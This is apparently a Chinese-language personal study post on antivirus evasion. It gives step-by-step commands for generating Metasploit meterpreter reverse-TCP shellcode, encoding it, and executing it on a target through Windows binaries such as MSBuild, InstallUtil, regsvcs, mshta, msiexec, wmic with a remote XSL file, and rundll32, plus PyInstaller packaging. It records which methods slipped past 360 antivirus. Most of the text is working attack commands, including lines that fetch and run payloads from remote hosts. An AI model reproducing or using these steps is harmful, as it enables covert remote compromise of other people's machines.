免杀学习之使用msbuild来执行payload
什么是msbuild
msbuild是Microsoft和Visual Studio的生成系统,简单地说,这个就是用来编译你的项目,也就是所谓的编译器。MSBuild可在未安装Visual Studio的环境中编译.net的工程文件,MSBuild可可以编译特定格式的xml文件。总结来说msbuild可以编译执行csharp代码。
存储路径
加载32位的shellcode需要32位的msbuild
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe
加载64位的shellcode需要64位的msbuild
C:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe
生成shellcode并执行
这里面我们使用msf来生成64位shellcode(没有32位的机器,尴尬QAQ)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp
使用别人的模板
https://github.com/3gstudent/msbuild-inline-task.git
使用executes x64 shellcode.xml这个模板(我是64位的机器),将45行的shellcode改为msf生成的shellcode(注意变量名)
msf设置为监听状态
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
然后在目标机器上执行
C:WindowsMicrosoft.NETFramework64v4.0.30319>MSBuild.exe "C:Usersjack.0DAYDesktopexec.xml"
后记:win10有内存保护,不允许写进shellcode。这里面我的win7和win2008是没有v4.0.30319
这个目录的,其他的目录虽然也有msbuild但是用不了,编译的时候报错。
暂时没有使用成功。
installutil.exe和csc.exe的使用
什么是installutil
installer工具是一个命令行实用工具,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。(应该是c#)
使用msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -f csharp
下载别人的Installutil-shellcode的cs文件,将里面的shellcode替换为我们的。
使用csc编译
csc就是一个自带的c#的编译器
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /unsafe /platform:x86 /out:D: estInstallUtil-shell.exe D: estInstallUtil-ShellCode.cs
后记:生成的后缀可以自定义,但是需要用installutil来使用
使用installUtil来执行二进制文件
C:WindowsMicrosoft.NETFrameworkv2.0.50727InstallUtil.exe /logfile= /LogToConsole=false /U D: estInstallUtil-shell.exe

成功会反弹shell.但是360会拦截下来,需要点同意。emmmm
regasm和regsvcs的使用
两者的使用方式是一样的,并且于上文是相同的
- 同样需要下载一些东西
- msf中生成shellcode,并放入cs文件中
- 编译(使用csc编译,不过必须编译为dlll才可以)
- 执行(使用regasm和regsvcs)
C:WindowsMicrosoft.NETFrameworkv4.0.30319csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
执行
C:WindowsMicrosoft.NETFrameworkv4.0.30319
egsvcs.exe 1.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319
egasm.exe 1.dll
或者
C:WindowsMicrosoft.NETFrameworkv4.0.30319
egsvcs.exe /U 1.dll
C:WindowsMicrosoft.NETFrameworkv4.0.30319
egasm.exe /U 1.dll
这里面我们没有签名工具sn,暂时先放着吧
使用mshta
这个就比较好利用了,因为这个是在环境变量里面的。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f raw > shellcode.bin
- shellcode进行base64加密
cat shellcode.bin | base64 -w 0
将' ---------- DO NOT EDIT BELOW HERE -----------
上面包起来的base64替换掉。
web服务部署一下
目标机上执行 mshta.exe http://xxx/shellcode.hta
NB,直接上线,360没有任何反应!!!!
cobal strike中也有这个功能
使用Msiexec
Msiexec是Windows Installer的一部分,用于安装Windows Installer安装包(MSI),一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于 Windows 2003,Windows 7 等。
Msiexec已经被添加到了环境变量里面了。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 ‐f msi > shellcode.txt
- 目标机器执行命令
msiexec.exe /q /i http://192.168.22.1:12345/shellcode.txt
后记:360会拦截。提示msi下载攻击
wmic
已经在环境变量里面了
wmic os get /FORMAT:"http://example.com/evil.xsl"
poc
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>
扩展
https://3gstudent.github.io/%E5%88%A9%E7%94%A8wmic%E8%B0%83%E7%94%A8xsl%E6%96%87%E4%BB%B6%E7%9A%84%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
后记:360会拦截,说是wmic攻击
利用Rundll32.exe
Rundll32.exe是指"执行32位的DLL文件"。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。
- 执行自定义的
rundll32.exe javascript:"..mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject("WScript.Shell");w.run("calc");window.close()");
后记:会被拦截
使用shellcode loader
借助第三方加载器,将shellcode加载到内存中来执行。
- msf生成shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw > test.c
靶机执行
shellcode_launcher.exe -i test.c
靶机上线
后记:360并不会拦截。有点厉害。
使用偏僻语言(py和go等等)
使用偏僻语言的好处就在于,让杀软识别不了程序的pe头。
- msf生成py木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.22.1 lport=12345 -e x86/shikata_ga_nai -i 5 -f py -o shellcode.py
- 使用pyinstaller打包
pyinstaller -F --console shellcode.py
没有这个的话就 pip install pyinstaller
安装一下
这里面有个坑,你用什么系统编译的就只能在上面系统上执行.
点击生成的二进制文件.木马上线。
使用Go语言
暂时没整这个环境